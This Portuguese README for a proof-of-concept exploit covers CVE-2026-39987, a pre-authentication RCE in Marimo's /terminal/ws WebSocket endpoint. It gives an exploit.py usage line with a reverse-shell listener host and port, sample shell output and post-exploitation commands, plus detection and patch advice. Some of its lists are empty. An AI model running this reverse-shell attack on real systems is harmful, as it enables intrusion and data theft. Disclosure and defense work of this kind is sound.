
Exploit de prova de conceito para RCE pré-autenticação no Marimo. Utiliza o endpoint WebSocket não autenticado /terminal/ws para gerar um PTY e estabelecer um reverse shell.
CVE-2026-39987 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) pré-autenticação que afeta o Marimo, um ambiente de notebook Python reativo.
A vulnerabilidade existe no endpoint WebSocket de terminal do Marimo:
/terminal/ws
O endpoint não aplicava corretamente a autenticação antes de criar uma sessão de terminal. Como resultado, um atacante remoto não autenticado que consiga alcançar uma instância vulnerável do Marimo pode estabelecer uma conexão WebSocket e obter um shell PTY interativo.
Nenhuma credencial válida é necessária.
| Propriedade | Valor |
|---|---|
| CVE | CVE-2026-39987 |
| Produto | Marimo |
| Vulnerabilidade | Execução Remota de Código Pré-Autenticação |
| Vetor de Ataque | Rede |
| Autenticação | Não necessária |
| Interação do Usuário | Não necessária |
| CWE | CWE-306 — Ausência de Autenticação para Função Crítica |
| Severidade | Crítica |
| Versão Corrigida | 0.23.0 |
A vulnerabilidade foi causada pela aplicação inconsistente de autenticação entre os endpoints WebSocket do Marimo.
Embora outras funcionalidades WebSocket realizem validação de autenticação, o endpoint vulnerável /terminal/ws podia aceitar uma conexão sem primeiro validar o chamador.
O endpoint de terminal vulnerável cria um PTY interativo após aceitar uma conexão WebSocket.
Conceitualmente, o fluxo de requisição vulnerável é:
Remote Client
|
| WebSocket connection
v
/terminal/ws
|
| Missing authentication validation
v
WebSocket accepted
|
v
PTY created
|
v
Interactive shell
A fronteira de segurança importante é a ausência da verificação de autenticação.
Um endpoint que expõe execução arbitrária de comandos não deve permitir que um cliente não autenticado alcance a lógica de criação do PTY.
A exploração bem-sucedida pode fornecer execução arbitrária de comandos com os privilégios do processo do Marimo.
Dependendo da configuração de implantação, isso pode permitir que um atacante:
O impacto é particularmente significativo para ambientes de notebook, pois eles geralmente têm acesso a conjuntos de dados, APIs, credenciais, recursos de nuvem e infraestrutura de desenvolvimento.
Aviso: Execute o PoC apenas contra sistemas que você possui ou para os quais tenha autorização explícita para testar.
Este repositório contém um PoC para demonstrar a vulnerabilidade em um ambiente controlado.
O exemplo abaixo demonstra a exploração contra uma instância local/de laboratório.
Por exemplo:
http://127.0.0.1:8081
A instância vulnerável do Marimo deve estar em execução antes de executar o PoC.
Exemplo:
python3 exploit.py \
-u http://127.0.0.1:8081 \
--host 192.168.101.130 \
--port 5555
Onde:
-u Target Marimo instance
--host Listener IP
--port Listener port
O PoC estabelece a conexão de terminal vulnerável e aguarda a conexão de shell resultante.
Exemplo de saída:
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882
Após a exploração bem-sucedida, o atacante recebe um shell executando sob os privilégios do processo do Marimo.
whoami
Exemplo:
marimo
id
Exemplo:
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
Isso demonstra que comandos arbitrários estão sendo executados remotamente como a conta marimo.
O PoC também pode demonstrar o acesso ao sistema de arquivos disponível para o processo comprometido.
ls -la
Exemplo:
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py
Movendo-se para a raiz do sistema de arquivos:
cd /
ls
Exemplo:
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace
Isso confirma que o shell remoto tem acesso normal ao sistema de arquivos, sujeito aos privilégios e às restrições de contêiner do processo do Marimo.
A cadeia completa da vulnerabilidade pode ser resumida como:
1. Attacker discovers exposed Marimo instance
|
v
2. Attacker connects to /terminal/ws
|
v
3. Authentication is not enforced
|
v
4. WebSocket connection is accepted
|
v
5. PTY terminal is created
|
v
6. Attacker obtains command execution
|
v
7. Commands execute as the Marimo process
A falha crítica de segurança ocorre na etapa 3.
Possíveis indicadores de exploração incluem conexões WebSocket inesperadas para:
/terminal/ws
e atividade incomum de processos originada do servidor Marimo.
Os defensores devem investigar:
Atualize o Marimo para uma versão corrigida:
0.23.0 or later
Além disso:
/terminal/ws.CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
Este projeto é fornecido para fins de pesquisa em segurança, validação de vulnerabilidades e educação. Não use o PoC contra sistemas que você não possui ou para os quais não tenha autorização explícita para testar.